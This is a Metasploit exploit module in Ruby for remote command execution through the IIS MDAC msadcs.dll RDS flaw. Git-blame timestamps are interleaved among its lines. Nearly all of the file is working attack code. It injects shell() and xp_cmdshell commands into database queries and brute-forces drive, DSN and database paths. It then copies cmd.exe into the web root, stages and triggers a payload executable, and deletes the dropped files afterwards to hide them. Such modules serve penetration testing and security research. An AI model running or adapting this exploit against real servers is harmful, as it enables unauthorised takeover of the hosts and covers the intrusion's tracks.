2012-06-05 08:09:07 +00:00
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex/proto/tftp'
class Metasploit3 < Msf :: Exploit :: Remote
Rank = ExcellentRanking
include Msf :: Exploit :: Remote :: HttpClient
include Msf :: Exploit :: CmdStagerTFTP
def initialize
super (
2012-06-06 16:10:05 +00:00
'Name' = > 'Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution' ,
2012-06-05 08:09:07 +00:00
'Description' = > %q{
This module can be used to execute arbitrary commands on IIS servers
that expose the / msadc /ms adcs . dll Microsoft Data Access Components
( MDAC ) Remote Data Service ( RDS ) DataFactory service using VbBusObj
or AdvancedDataFactory to inject shell commands into Microsoft Access
databases ( MDBs ) , MSSQL databases and ODBC / JET Data Source Name ( DSN ) .
Based on the msadcs . pl v2 exploit by Rain . Forest . Puppy , which was actively
used in the wild in the late Ninties . MDAC versions affected include MDAC
1 . 5 , 2 . 0 , 2 . 0 SDK , 2 . 1 and systems with the MDAC Sample Pages for RDS
installed , and NT4 Servers with the NT Option Pack installed or upgraded
2000 systems often running IIS3 / 4 / 5 however some vulnerable installations
can still be found on newer Windows operating systems . Note that newer
releases of msadcs . dll can still be abused however by default remote
connections to the RDS is denied . Consider using VERBOSE if you ' re unable
to successfully execute a command , as the error messages are detailed
and useful for debugging . Also set NAME to obtain the remote hostname ,
and METHOD to use the alternative VbBusObj technique .
} ,
2012-06-06 16:10:05 +00:00
'Author' = > 'patrick' ,
'Platform' = > 'win' ,
'References' = >
2012-06-05 08:09:07 +00:00
[
[ 'OSVDB' , '272' ] ,
[ 'BID' , '529' ] ,
[ 'CVE' , '1999-1011' ] ,
2012-10-22 20:34:47 +00:00
[ 'MSB' , 'MS98-004' ] ,
[ 'MSB' , 'MS99-025' ]
2012-06-05 08:09:07 +00:00
] ,
2012-06-06 16:10:05 +00:00
'Targets' = >
2012-06-05 08:09:07 +00:00
[
2012-06-06 16:10:05 +00:00
# patrickw tested meterpreter OK 20120601
2012-06-05 08:09:07 +00:00
# nt4server w/sp3, ie4.02, option pack, IIS4.0, mdac 1.5, over msaccess shell, reverse_nonx
# w2k w/sp0, IIS5.0, mdac 2.7 RTM, sql2000, handunsf.reg, over xp_cmdshell, reverse_tcp
[ 'Automatic' , { } ] ,
] ,
'DefaultTarget' = > 0 ,
'DisclosureDate' = > 'Jul 17 1998'
)
register_options (
[
OptString . new ( 'PATH' , [ true , " The path to msadcs.dll " , '/msadc/msadcs.dll' ] ) ,
OptBool . new ( 'METHOD' , [ true , " If true, use VbBusObj instead of AdvancedDataFactory " , false ] ) ,
OptBool . new ( 'NAME' , [ true , " If true, attempt to obtain the MACHINE NAME " , false ] ) ,
OptString . new ( 'DBHOST' , [ true , " The SQL Server host " , 'local' ] ) ,
OptString . new ( 'DBNAME' , [ true , " The SQL Server database " , 'master' ] ) ,
OptString . new ( 'DBUID' , [ true , " The SQL Server uid (default is sa) " , 'sa' ] ) ,
OptString . new ( 'DBPASSWORD' , [ false , " The SQL Server password (default is blank) " , '' ] ) ,
] , self . class )
end
def check
res = send_request_raw ( {
'uri' = > datastore [ 'PATH' ] ,
'method' = > 'GET' ,
2012-06-06 08:36:20 +00:00
} )
2012-06-05 08:09:07 +00:00
if ( res . code == 200 )
print_status ( " Server responded with HTTP #{ res . code } OK " )
if ( res . body =~ / Content-Type: application \/ x-varg / )
print_good ( " #{ datastore [ 'PATH' ] } matches fingerprint application \ /x-varg " )
Exploit :: CheckCode :: Detected
end
else
Exploit :: CheckCode :: Safe
end
end
def create_dsn ( drive , dsn )
req = " /scripts/tools/newdsn.exe?driver=Microsoft \ %2BAccess \ %2BDriver \ %2B \ %28*.mdb \ %29 \ &dsn= #{ dsn } \ &dbq= #{ drive } \ %3A \ %5Csys.mdb \ &newdb=CREATE_DB \ &attr= "
2012-06-06 16:10:05 +00:00
2012-06-05 08:09:07 +00:00
res = send_request_raw ( {
2012-06-06 16:10:05 +00:00
'uri' = > req ,
2012-06-06 08:36:20 +00:00
} )
2012-06-06 16:10:05 +00:00
2012-06-06 08:36:20 +00:00
if ( res and res . code == 200 and res . body =~ / <H2>Datasource creation <B>FAILED! The most likely cause is invalid attributes< \/ B>< \/ H2> / )
vprint_error ( " DSN CREATE failed for drive #{ drive } with #{ dsn } . " )
2012-06-05 08:09:07 +00:00
return false
elsif ( res . code == 200 and res . body =~ / <H2>Datasource creation successful< \/ H2> / )
print_good ( " DSN CREATE SUCCESSFUL for drive #{ drive } with #{ dsn } ! " )
return true
end
end
2012-06-06 16:10:05 +00:00
2012-06-06 08:36:20 +00:00
def exec_cmd ( sql , cmd , d )
2012-06-05 08:09:07 +00:00
boundary = rand_text_alphanumeric ( 8 )
method = datastore [ 'METHOD' ] ? " VbBusObj.VbBusObjCls.GetRecordset " : " AdvancedDataFactory.Query "
2012-06-06 08:36:20 +00:00
dsn = Rex :: Text . to_unicode ( d )
if ( d =~ / driver= \ {SQL Server \ } / )
select = Rex :: Text . to_unicode ( sql + '"' + cmd + '"' )
elsif ( cmd . nil? )
select = Rex :: Text . to_unicode ( sql )
2012-06-05 08:09:07 +00:00
else
2012-06-06 08:36:20 +00:00
select = Rex :: Text . to_unicode ( sql + " '|shell( \" " + cmd + " \" )|' " )
2012-06-05 08:09:07 +00:00
end
2012-06-06 08:36:20 +00:00
vprint_status ( " Attempting to request: #{ select } on #{ d } " )
2012-06-06 16:10:05 +00:00
2012-06-05 08:09:07 +00:00
query = " \x02 \x00 \x03 \x00 \x08 \x00 #{ [ select . size ] . pack ( 'S' ) } \x00 \x00 #{ select } \x08 \x00 #{ [ dsn . size ] . pack ( 'S' ) } \x00 \x00 #{ dsn } "
2012-06-06 16:10:05 +00:00
sploit = " -- #{ boundary } \r \n "
2012-06-05 08:09:07 +00:00
sploit << " Content-Type: application/x-varg \r \n "
sploit << " Content-Length: #{ query . length } \r \n \r \n "
sploit << query
sploit << " \r \n -- #{ boundary } -- \r \n "
2012-06-06 16:10:05 +00:00
2012-06-05 08:09:07 +00:00
data = " ADCClientVersion:01.06 \r \n "
data << 'Content-Type: multipart/mixed; boundary=' + boundary + '; num-args=3'
data << " \r \n \r \n "
data << sploit
res = send_request_raw ( {
'uri' = > datastore [ 'PATH' ] + '/' + method ,
'agent' = > 'ACTIVEDATA' ,
'headers' = >
{
'Content-Length' = > data . length ,
'Connection' = > " Keep-Alive " ,
} ,
'method' = > 'POST' ,
'data' = > data ,
2012-06-06 08:36:20 +00:00
} )
2012-06-06 16:10:05 +00:00
2012-06-05 08:09:07 +00:00
response = Rex :: Text . to_ascii ( res . body , 'utf-16be' )
2012-06-06 16:10:05 +00:00
2012-06-05 08:09:07 +00:00
if ( response =~ / HTTP: \/ \/ www.microsoft.com \/ activex.vip \/ adofx / || res . body =~ / o.u.t.p.u.t. / )
2012-06-06 08:36:20 +00:00
vprint_good ( " Command was successfully executed! Statement: #{ select } Driver: #{ d } " )
return true , sql , d
2012-06-05 08:09:07 +00:00
elsif ( response =~ / RDS Server Error: The server has denied access to the default RDS Handler used to access this page. See the Server Administrator for more information about server security settings. / )
print_error ( " Exploit failed: the server is patched " )
2012-06-06 16:15:07 +00:00
return # we cannot continue - server refuses to accept RDS traffic from remote IPs. bail.
2012-06-05 08:09:07 +00:00
elsif ( response =~ / The Microsoft Jet database engine cannot find the input table or query \ '( \ w+) \ ' / )
2012-06-06 08:36:20 +00:00
vprint_error ( " Server is vulnerable but Microsoft Jet database cannot find table: #{ $1 } " )
2012-06-05 08:09:07 +00:00
elsif ( response =~ / isn't a valid path / || response =~ / is not a valid path / || response =~ / Could not find file / )
2012-06-06 08:36:20 +00:00
vprint_error ( " Server is vulnerable but the drive and path is incorrect. " )
2012-06-05 08:09:07 +00:00
elsif ( response =~ / Disk or network error. / )
2012-06-06 08:36:20 +00:00
vprint_error ( " Server is vulnerable but the driver letter doesn't physically exist. " )
2012-06-05 08:09:07 +00:00
elsif ( response =~ / Syntax error in CREATE TABLE statement / )
2012-06-06 08:36:20 +00:00
vprint_error ( " Server is vulnerable and the database exists however the CREATE TABLE command failed. " )
2012-06-05 08:09:07 +00:00
elsif ( response =~ / Table '( \ w+)' already exists / )
2012-06-06 08:36:20 +00:00
vprint_error ( " Server is vulnerable and the database exists however the TABLE ' #{ $1 } ' already exists! " )
2012-06-05 08:09:07 +00:00
elsif ( response =~ / Syntax error \ (missing operator \ ) in query expression / )
2012-06-06 08:36:20 +00:00
vprint_error ( " Server is vulnerable and the database and table exists however the SELECT statement has a syntax error. " )
2012-06-05 08:09:07 +00:00
elsif ( response =~ / Too few parameters. Expected 1 / )
print_good ( " Command was probably executed! " )
elsif ( response =~ / Data source name not found and no default driver specified / )
2012-06-06 08:36:20 +00:00
vprint_error ( " Server is vulnerable however the requested DSN ' #{ d } ' does not exist. " )
2012-06-05 08:09:07 +00:00
elsif ( response =~ / Couldn't find file / )
2012-06-06 08:36:20 +00:00
vprint_error ( " Server is vulnerable however the requested .mdb file does not exist. " )
2012-06-05 08:09:07 +00:00
elsif ( response =~ / Specified SQL server not found / )
2012-06-06 08:36:20 +00:00
vprint_error ( " Server is vulnerable however the specified Microsoft SQL Server does not exist " )
elsif ( response =~ / Server does not exist or access denied / )
vprint_error ( " Server is vulnerable however the specified Microsoft SQL Server does not exist or access is denied " )
2012-06-05 08:09:07 +00:00
elsif ( response =~ / General error Unable to open registry key / )
2012-06-06 08:36:20 +00:00
vprint_error ( " Server error (possible misconfiguration): Unable to open registry key " )
2012-06-05 08:09:07 +00:00
elsif ( response =~ / It is in a read-only database / )
2012-06-06 08:36:20 +00:00
vprint_error ( " Server accepted request however the requested .mdb is READ-ONLY " )
2012-06-05 08:09:07 +00:00
elsif ( response =~ / Invalid connection / )
2012-06-06 08:36:20 +00:00
vprint_error ( " Server accepted request however the MSSQL database says Invalid connection " )
2012-06-05 08:09:07 +00:00
elsif ( response =~ / \ [SQL Server \ ]Login failed for user / )
2012-06-06 08:36:20 +00:00
vprint_error ( " Server accepted request however the MSSQL database uid / password credentials are incorrect. " )
elsif ( response =~ / EXECUTE permission denied on object 'xp_cmdshell' / )
vprint_error ( " Server accepted request and MSSQL uid/pass is correct however the UID does not have permission to execute xp_cmdshell! " )
2012-06-05 08:09:07 +00:00
elsif ( response =~ / \ "(...) \ " / ) # we use rand_text_alphanumeric for 'table'. response is '"<table>" <table>' but means nothing to me. regexp is a little lazy however the unicode response doesn't give us much to work with; we only know it is 3 bytes long and quoted which should be unique.
2012-06-06 08:36:20 +00:00
vprint_error ( " Server accepted request however it failed for reasons unknown. " )
2012-06-05 08:09:07 +00:00
elsif ( res . body =~ / \ x09 \ x00 \ x01 / ) # magic bytes? rfp used it too :P maybe a retval?
2012-06-06 08:36:20 +00:00
vprint_error ( " Unknown reply - but the command didn't execute " )
2012-06-06 16:10:05 +00:00
else
2012-06-06 08:36:20 +00:00
vprint_status ( " Unknown reply - server is likely patched: \n #{ response } " )
2012-06-05 08:09:07 +00:00
end
return false
end
def find_exec
# config data - greets to rain forest puppy :)
boundary = rand_text_alphanumeric ( 8 )
if ( datastore [ 'NAME' ] ) # Obtain the hostname if true
2012-06-06 08:36:20 +00:00
2012-06-05 08:09:07 +00:00
data = " ADCClientVersion:01.06 \r \n "
data << 'Content-Type: multipart/mixed; boundary=' + boundary + '; num-args=0'
data << " \r \n \r \n -- #{ boundary } -- \r \n "
2012-06-06 16:10:05 +00:00
2012-06-05 08:09:07 +00:00
res = send_request_raw ( {
2012-06-06 08:36:20 +00:00
'uri' = > datastore [ 'PATH' ] + '/VbBusObj.VbBusObjCls.GetMachineName' ,
'agent' = > 'ACTIVEDATA' ,
2012-06-05 08:09:07 +00:00
'headers' = >
{
'Content-Length' = > data . length ,
'Connection' = > " Keep-Alive " ,
} ,
'method' = > 'POST' ,
'data' = > data ,
2012-06-06 16:10:05 +00:00
2012-06-06 08:36:20 +00:00
} )
2012-06-06 16:10:05 +00:00
2012-06-05 08:09:07 +00:00
if ( res . code == 200 and res . body =~ / \ x01(.+) / ) # Should return the hostname
print_good ( " Hostname: #{ $1 } " )
end
end
drives = [ " c " , " d " , " e " , " f " , " g " , " h " ]
sysdirs = [ 'winnt' , 'windows' , 'win' , 'winnt351' , 'winnt35' ]
dsns = [ " AdvWorks " , " pubs " , " wicca " , " CertSvr " , " CFApplications " , " cfexamples " , " CFForums " ,
2012-06-13 18:16:55 +00:00
" CFRealm " , " cfsnippets " , " UAM " , " banner " , " banners " , " ads " , " ADCDemo " , " ADCTest " ]
2012-06-05 08:09:07 +00:00
sysmdbs = [ " \\ catroot \\ icatalog.mdb " , #these are %systemroot%
" \\ help \\ iishelp \\ iis \\ htm \\ tutorial \\ eecustmr.mdb " ,
" \\ system32 \\ help \\ iishelp \\ iis \\ htm \\ tutorial \\ eecustmr.mdb " ,
" \\ system32 \\ certmdb.mdb " ,
" \\ system32 \\ ias \\ ias.mdb " ,
" \\ system32 \\ ias \\ dnary.mdb " ,
" \\ system32 \\ certlog \\ certsrv.mdb " ]
2012-06-06 16:10:05 +00:00
2012-06-05 08:09:07 +00:00
mdbs = [ " \\ cfusion \\ cfapps \\ cfappman \\ data \\ applications.mdb " , #these are non-windows
" \\ cfusion \\ cfapps \\ forums \\ forums_.mdb " ,
" \\ cfusion \\ cfapps \\ forums \\ data \\ forums.mdb " ,
" \\ cfusion \\ cfapps \\ security \\ realm_.mdb " ,
" \\ cfusion \\ cfapps \\ security \\ data \\ realm.mdb " ,
" \\ cfusion \\ database \\ cfexamples.mdb " ,
" \\ cfusion \\ database \\ cfsnippets.mdb " ,
" \\ inetpub \\ iissamples \\ sdk \\ asp \\ database \\ authors.mdb " ,
" \\ progra~1 \\ common~1 \\ system \\ msadc \\ samples \\ advworks.mdb " ,
" \\ cfusion \\ brighttiger \\ database \\ cleam.mdb " ,
" \\ cfusion \\ database \\ smpolicy.mdb " ,
" \\ cfusion \\ database \\ cypress.mdb " ,
" \\ progra~1 \\ ableco~1 \\ ablecommerce \\ databases \\ acb2_main1.mdb " ,
" \\ website \\ cgi-win \\ dbsample.mdb " ,
" \\ perl \\ prk \\ bookexamples \\ modsamp \\ database \\ contact.mdb " ,
" \\ perl \\ prk \\ bookexamples \\ utilsamp \\ data \\ access \\ prk.mdb "
]
2012-06-06 16:10:05 +00:00
2012-06-05 08:09:07 +00:00
print_status ( " Step 1: Trying raw driver to btcustmr.mdb " )
2012-06-06 16:10:05 +00:00
2012-06-05 08:09:07 +00:00
drives . each do | drive |
sysdirs . each do | sysdir |
ret = exec_cmd ( " Select * from Customers where City= " , " cmd /c echo x " , " driver={Microsoft Access Driver (*.mdb)};dbq= #{ drive } : \\ #{ sysdir } \\ help \\ iis \\ htm \\ tutorial \\ btcustmr.mdb; " )
return ret if ( ret )
end
end
2012-06-06 16:10:05 +00:00
2012-06-05 08:09:07 +00:00
print_status ( " Step 2: Trying to make our own DSN... " )
x = false # Stop if we make a DSN
drives . each do | drive |
dsns . each do | dsn |
unless x
x = create_dsn ( drive , dsn )
end
end
end
2012-06-06 16:10:05 +00:00
2012-06-05 08:09:07 +00:00
table = rand_text_alphanumeric ( 3 )
print_status ( " Step 3: Trying to create a new table in our own DSN... " )
exec_cmd ( " create table #{ table } (B int, C varchar(10)) " , nil , " driver={Microsoft Access Driver (*.mdb)};dbq=c: \\ sys.mdb; " ) # this is general make table query
2012-06-06 16:10:05 +00:00
2012-06-05 08:09:07 +00:00
print_status ( " Step 4: Trying to execute our command via our own DSN and table... " )
ret = exec_cmd ( " select * from #{ table } where C= " , " cmd /c echo x " , " driver={Microsoft Access Driver (*.mdb)};dbq=c: \\ sys.mdb; " ) # this is general exploit table query
return ret if ( ret )
2012-06-06 16:10:05 +00:00
2012-06-05 08:09:07 +00:00
print_status ( " Step 5: Trying to execute our command via known DSNs... " )
dsns . each do | dsn |
ret = exec_cmd ( " select * from MSysModules where name= " , " cmd /c echo x " , dsn ) # this is table-independent query (new)
return ret if ( ret )
end
2012-06-06 16:10:05 +00:00
2012-06-05 08:09:07 +00:00
print_status ( " Step 6: Trying known system .mdbs... " )
drives . each do | drive |
sysdirs . each do | sysdir |
sysmdbs . each do | sysmdb |
exec_cmd ( " create table #{ table } (B int, C varchar(10)) " , nil , " driver={Microsoft Access Driver (*.mdb)};dbq= #{ drive } : \\ #{ sysdir } #{ sysmdb } ; " )
ret = exec_cmd ( " select * from #{ table } where C= " , " cmd /c echo x " , " driver={Microsoft Access Driver (*.mdb)};dbq= #{ drive } : \\ #{ sysdir } #{ sysmdb } ; " )
return ret if ( ret )
end
end
end
2012-06-06 16:10:05 +00:00
2012-06-05 08:09:07 +00:00
print_status ( " Step 7: Trying known program file .mdbs... " )
drives . each do | drive |
mdbs . each do | mdb |
exec_cmd ( " create table #{ table } (B int, C varchar(10)) " , nil , " driver={Microsoft Access Driver (*.mdb)};dbq= #{ drive } : #{ mdb } ; " )
ret = exec_cmd ( " select * from #{ table } where C= " , " cmd /c echo x " , " driver={Microsoft Access Driver (*.mdb)};dbq= #{ drive } : #{ mdb } ; " )
return ret if ( ret )
end
end
2012-06-06 16:10:05 +00:00
2012-06-05 08:09:07 +00:00
print_status ( " Step 8: Trying SQL xp_cmdshell method... " )
ret = exec_cmd ( " EXEC master..xp_cmdshell " , " cmd /c echo x " , " driver={SQL Server};server=( #{ datastore [ 'DBHOST' ] } );database= #{ datastore [ 'DBNAME' ] } ;uid= #{ datastore [ 'DBUID' ] } ;pwd= #{ datastore [ 'DBPASSWORD' ] } " ) # based on hdm's sqlrds.pl :)
return ret if ( ret )
2012-06-06 16:10:05 +00:00
2012-06-06 08:36:20 +00:00
return - 1
2012-06-05 08:09:07 +00:00
end
2012-06-06 16:10:05 +00:00
2012-06-05 08:09:07 +00:00
def exploit
print_status ( " Searching for valid command execution point... " )
x = false
until ( x )
x , y , z = find_exec
2012-06-06 08:36:20 +00:00
if ( x == - 1 )
break
end
2012-06-05 08:09:07 +00:00
end
2012-06-06 16:10:05 +00:00
2012-06-05 08:09:07 +00:00
if ( x == true )
print_good ( " Successful command execution found! " )
2012-06-06 16:10:05 +00:00
2012-06-05 08:09:07 +00:00
# now copy the file
exe_fname = rand_text_alphanumeric ( 4 + rand ( 4 ) ) + " .exe "
print_status ( " Copying cmd.exe to the web root as \" #{ exe_fname } \" ... " )
# NOTE: this assumes %SystemRoot% on the same drive as the web scripts directory
# Unfortunately, using %SystemRoot% doesn't seem to work :(
res = exec_cmd ( y , " cmd /c copy cmd.exe \\ inetpub \\ scripts \\ #{ exe_fname } " , z )
# Use the CMD stager to get a payload running
execute_cmdstager ( { :temp = > '.' , :linemax = > 1400 , :cgifname = > exe_fname } )
# Save these file names for later deletion
@exe_cmd_copy = exe_fname
@exe_payload = payload_exe
# Just for good measure, we'll make a quick, direct request for the payload
# Using the "start" method doesn't seem to make iis very happy :(
print_status ( " Triggering the payload via a direct request... " )
res = send_request_raw ( { 'uri' = > '/scripts/' + payload_exe , 'method' = > 'GET' } , 1 )
end
handler
end
#
# The following handles deleting the copied cmd.exe and payload exe!
#
def on_new_session ( client )
if client . type != " meterpreter "
print_error ( " NOTE: you must use a meterpreter payload in order to automatically cleanup. " )
print_error ( " The copied exe and the payload exe must be removed manually. " )
return
end
return if not @exe_cmd_copy
# stdapi must be loaded before we can use fs.file
client . core . use ( " stdapi " ) if not client . ext . aliases . include? ( " stdapi " )
# Delete the copied CMD.exe
print_status ( " Deleting copy of CMD.exe \" #{ @exe_cmd_copy } \" ... " )
client . fs . file . rm ( @exe_cmd_copy )
# Migrate so that we can delete the payload exe
client . console . run_single ( " run migrate -f " )
# Delete the payload exe
return if not @exe_payload
delete_me_too = " C: \\ inetpub \\ scripts \\ " + @exe_payload # C:\ ?
2012-10-24 05:54:17 +00:00
print_warning ( " Changing permissions on #{ delete_me_too } ... " )
2012-06-05 08:09:07 +00:00
cmd = " C: \\ #{ sysdir [ 0 ] } \\ system32 \\ attrib.exe -r -h -s " + delete_me_too # winnt ?
client . sys . process . execute ( cmd , nil , { 'Hidden' = > true } )
2012-10-24 05:54:17 +00:00
print_warning ( " Deleting #{ delete_me_too } ... " )
2012-06-05 08:09:07 +00:00
begin
client . fs . file . rm ( delete_me_too )
rescue :: Exception = > e
print_error ( " Exception: #{ e . inspect } " )
end
end
def cleanup
framework . events . remove_exploit_subscriber ( self )
end
2012-06-06 16:10:05 +00:00
2012-06-05 08:09:07 +00:00
def execute_command ( cmd , opts = { } )
# Don't try the start command...
# Using the "start" method doesn't seem to make iis very happy :(
return [ nil , nil ] if cmd =~ / ^start [a-zA-Z]+ \ .exe$ /
print_status ( " Executing command: #{ cmd } (options: #{ opts . inspect } ) " )
uri = '/scripts/'
exe = opts [ :cgifname ]
if ( exe )
uri << exe
end
uri << '?/x+/c+'
uri << Rex :: Text . uri_encode ( cmd )
vprint_status ( " Attempting to execute: #{ uri } " )
res = send_request_raw ( {
'uri' = > uri ,
'method' = > 'GET' ,
2012-06-06 08:36:20 +00:00
} )
2012-06-05 08:09:07 +00:00
end
end